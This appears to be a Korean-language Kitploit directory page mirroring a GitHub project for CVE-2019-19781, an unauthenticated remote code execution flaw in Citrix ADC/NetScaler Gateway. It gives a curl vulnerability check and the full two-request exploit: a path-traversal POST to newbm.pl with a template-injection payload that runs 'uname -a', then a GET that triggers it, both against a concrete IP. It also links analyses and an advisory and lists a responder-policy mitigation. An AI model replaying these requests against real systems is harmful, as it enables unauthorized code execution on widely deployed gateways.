Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-19781 — CVE-2019-19781 - Citrix ADC Netscaler 원격 코드 실행 익스플로잇 | Kitploit
도구/GitHubGitHub/mpgn/cve-2019-19781
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingIncident ResponseRemote Access Tool
GitHubmpgn/cve-2019-19781

CVE-2019-19781

CVE-2019-19781 - Citrix ADC Netscaler 원격 코드 실행 익스플로잇

저장소 보기
157345년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-19781

Citrix Application Delivery Controller 및 Citrix Gateway에서의 원격 코드 실행(RCE)

Citrix Application Delivery Controller(ADC, 구 NetScaler ADC) 및 Citrix Gateway(구 NetScaler Gateway)에서 취약점이 확인되었습니다. 악용될 경우 인증되지 않은 공격자가 임의 코드 실행을 수행할 수 있습니다.

편집: Fireeye의 CVE-2019-19781용 침해 지표(IoC) 스캐너 -> https://github.com/fireeye/ioc-scanner-CVE-2019-19781/

영향을 받는 제품:

  • Citrix ADC 및 Citrix Gateway 버전 13.0 모든 지원 빌드
  • Citrix ADC 및 NetScaler Gateway 버전 12.1 모든 지원 빌드
  • Citrix ADC 및 NetScaler Gateway 버전 12.0 모든 지원 빌드
  • Citrix ADC 및 NetScaler Gateway 버전 11.1 모든 지원 빌드
  • Citrix NetScaler ADC 및 NetScaler Gateway 버전 10.5 모든 지원 빌드

image

취약 여부 확인

root@kitploit:~
TARGET=your_ip
curl -vk –path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep “You don’t have permission to access /vpns/” >/dev/null && echo “VULNERABLE: $TARGET” || echo “MITIGATED: $TARGET”

취약한 Perl 스크립트

root@kitploit:~
POST /vpn/../vpns/portal/scripts/newbm.pl
POST /vpn/../vpns/portal/scripts/rmbm.pl
GET /vpn/../vpns/portal/scripts/picktheme.pl

익스플로잇

이 취약점을 악용하려면 인증 없이 요청 두 번만 필요합니다!

첫 번째 요청:

root@kitploit:~
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close
Content-Length: 103

url=http://exemple.com&title=[%t=template.new({'BLOCK'='print `uname -a`'})%][% t %]&desc=test&UI_inuse=RfWeb

두 번째 요청:

root@kitploit:~
GET /vpns/portal/bonclay4.xml HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close

image

상세 분석 (영문):

  • Craig Young => https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
  • @MDSecLabs => https://www.mdsec.co.uk/2020/01/deep-dive-in-to-citrix-adc-remote-code-execution-cve-2019-19781/
  • @mpgn_x64 => https://twitter.com/mpgn_x64/status/1214544993261674497

보안 권고:

  • https://support.citrix.com/article/CTX267027

패치 (실제 패치 아님)

  • https://support.citrix.com/article/CTX267679
root@kitploit:~
enable ns feature responder
add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\""
add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403
bind responder global ctx267027 1 END -type REQ_OVERRIDE
save config 
도구 다운로드